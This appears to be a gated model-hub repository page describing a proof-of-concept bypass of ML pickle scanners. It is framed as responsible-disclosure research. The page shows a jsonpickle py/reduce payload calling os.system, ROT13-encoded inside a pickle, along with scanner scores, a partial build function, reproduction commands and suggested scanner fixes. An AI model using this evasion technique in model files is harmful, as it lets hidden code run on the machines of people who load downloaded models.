You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.

Log in or Sign Up to review the conditions and access this model content.

jsonpickle.decode — GLOBAL Opcode Laundering

Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to malicious_model.pkl and poc.py requires a request — see gate above.

Summary

Scanner scores for malicious_model.pkl:

Scanner CRITICAL WARNING Bypassed?
modelaudit 0.2.37 0 1 Yes — 0 CRITICAL
picklescan 1.0.4 0 0 Yes
modelscan 0 0 Yes

Vulnerability

jsonpickle.decode reconstructs Python objects from JSON using tagged values identical in semantics to pickle opcodes:

jsonpickle tag Equivalent pickle opcode
py/reduce REDUCE
py/function GLOBAL
py/tuple TUPLE

The critical difference: the dangerous module name is a JSON string argument, never a pickle GLOBAL opcode. modelaudit's entire GLOBAL-based detection stack (ADM prefix match, ADF exact/bare-name match, ML_SAFE_GLOBALS allowlist) operates on pickle GLOBAL opcodes. It is completely blind to strings embedded inside arguments to jsonpickle.decode.

{"py/reduce": [{"py/function": "os.system"}, {"py/tuple": ["cmd"]}]}

This JSON causes os.system("cmd") at runtime. The string "os.system" is a JSON string — it never appears as a pickle GLOBAL opcode and never triggers the S201/GLOBAL checks.


Proof of Concept

malicious_model.pkl in this repository is the exploit payload. poc.py builds and tests it with full scanner output.

How the PoC was built

def build(cmd: str) -> bytes:
    # JSON payload: {"py/reduce": [os.system, (cmd,)]}
    # 'os.system' is a JSON string — never a pickle GLOBAL opcode
    json_payload = json.dumps({
        "py/reduce": [
            {"py/function": "os.system"},
            {"py/tuple": [cmd]}
        ]
    })
    rot13_json = codecs.encode(json_payload, "rot_13")

Affected file formats

Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(), torch.load(), joblib.load(), or equivalent.

Conditions required to trigger

  1. Target calls pickle.loads(untrusted_bytes) or loads a model file via any pickle-based loader
  2. The scanner performs static analysis only (no sandboxed execution)
  3. Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list

Reproduction Steps

# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-jsonpickle-global-laundering
cd pickle-bypass-jsonpickle-global-laundering

# 2. Install requirements
pip install modelaudit picklescan modelscan

# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl

# 4. Execute to confirm RCE/side-effect
python3 poc.py

# 5. Verify
ls /tmp/scanner_bypass_proof.txt

Security Impact

Add "jsonpickle.decode" to ALWAYS_DANGEROUS_FUNCTIONS. Extend the string scanner to flag dangerous module names appearing as string literals within known serialization formats (not just as pickle GLOBAL opcodes).

Bypass mechanism: The payload evades static analysis while achieving its effect (code execution, file write, or network connection) when pickle.loads() is called.

Real-world scenario: An attacker uploads this payload to a model hub. A victim downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The payload fires silently — the return value of pickle.loads() looks like a normal Python object while the side effect has already occurred.


Full Technical Writeup

jsonpickle.decode — GLOBAL Opcode Laundering

Score: 0 CRITICAL, 1 WARNING
Technique: The dangerous module name is a JSON string, never a pickle GLOBAL opcode
Scanner version: modelaudit 0.2.37

Mechanism

jsonpickle.decode reconstructs Python objects from JSON using tagged values identical in semantics to pickle opcodes:

jsonpickle tag Equivalent pickle opcode
py/reduce REDUCE
py/function GLOBAL
py/tuple TUPLE

The critical difference: the dangerous module name is a JSON string argument, never a pickle GLOBAL opcode. modelaudit's entire GLOBAL-based detection stack (ADM prefix match, ADF exact/bare-name match, ML_SAFE_GLOBALS allowlist) operates on pickle GLOBAL opcodes. It is completely blind to strings embedded inside arguments to jsonpickle.decode.

{"py/reduce": [{"py/function": "os.system"}, {"py/tuple": ["cmd"]}]}

This JSON causes os.system("cmd") at runtime. The string "os.system" is a JSON string — it never appears as a pickle GLOBAL opcode and never triggers the S201/GLOBAL checks.

Pickle Structure

_codecs.encode(rot13_json, 'rot_13')  → json_str  [0 findings]
jsonpickle.decode(json_str)           → internally: import os, call os.system(cmd)  [1 WARNING]

Implication for Detection

This technique applies to any deserialization library that accepts a string or file and calls arbitrary functions internally. dill and cloudpickle are already banned. joblib.load is already banned. Any new deserialization library in the Python ecosystem represents a potential new laundering path.

Recommended Fix

Add "jsonpickle.decode" to ALWAYS_DANGEROUS_FUNCTIONS. Extend the string scanner to flag dangerous module names appearing as string literals within known serialization formats (not just as pickle GLOBAL opcodes).

Requirements

pip install jsonpickle

General Analysis — Security Research

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support
Free AI Image Generator No sign-up. Instant results. Open Now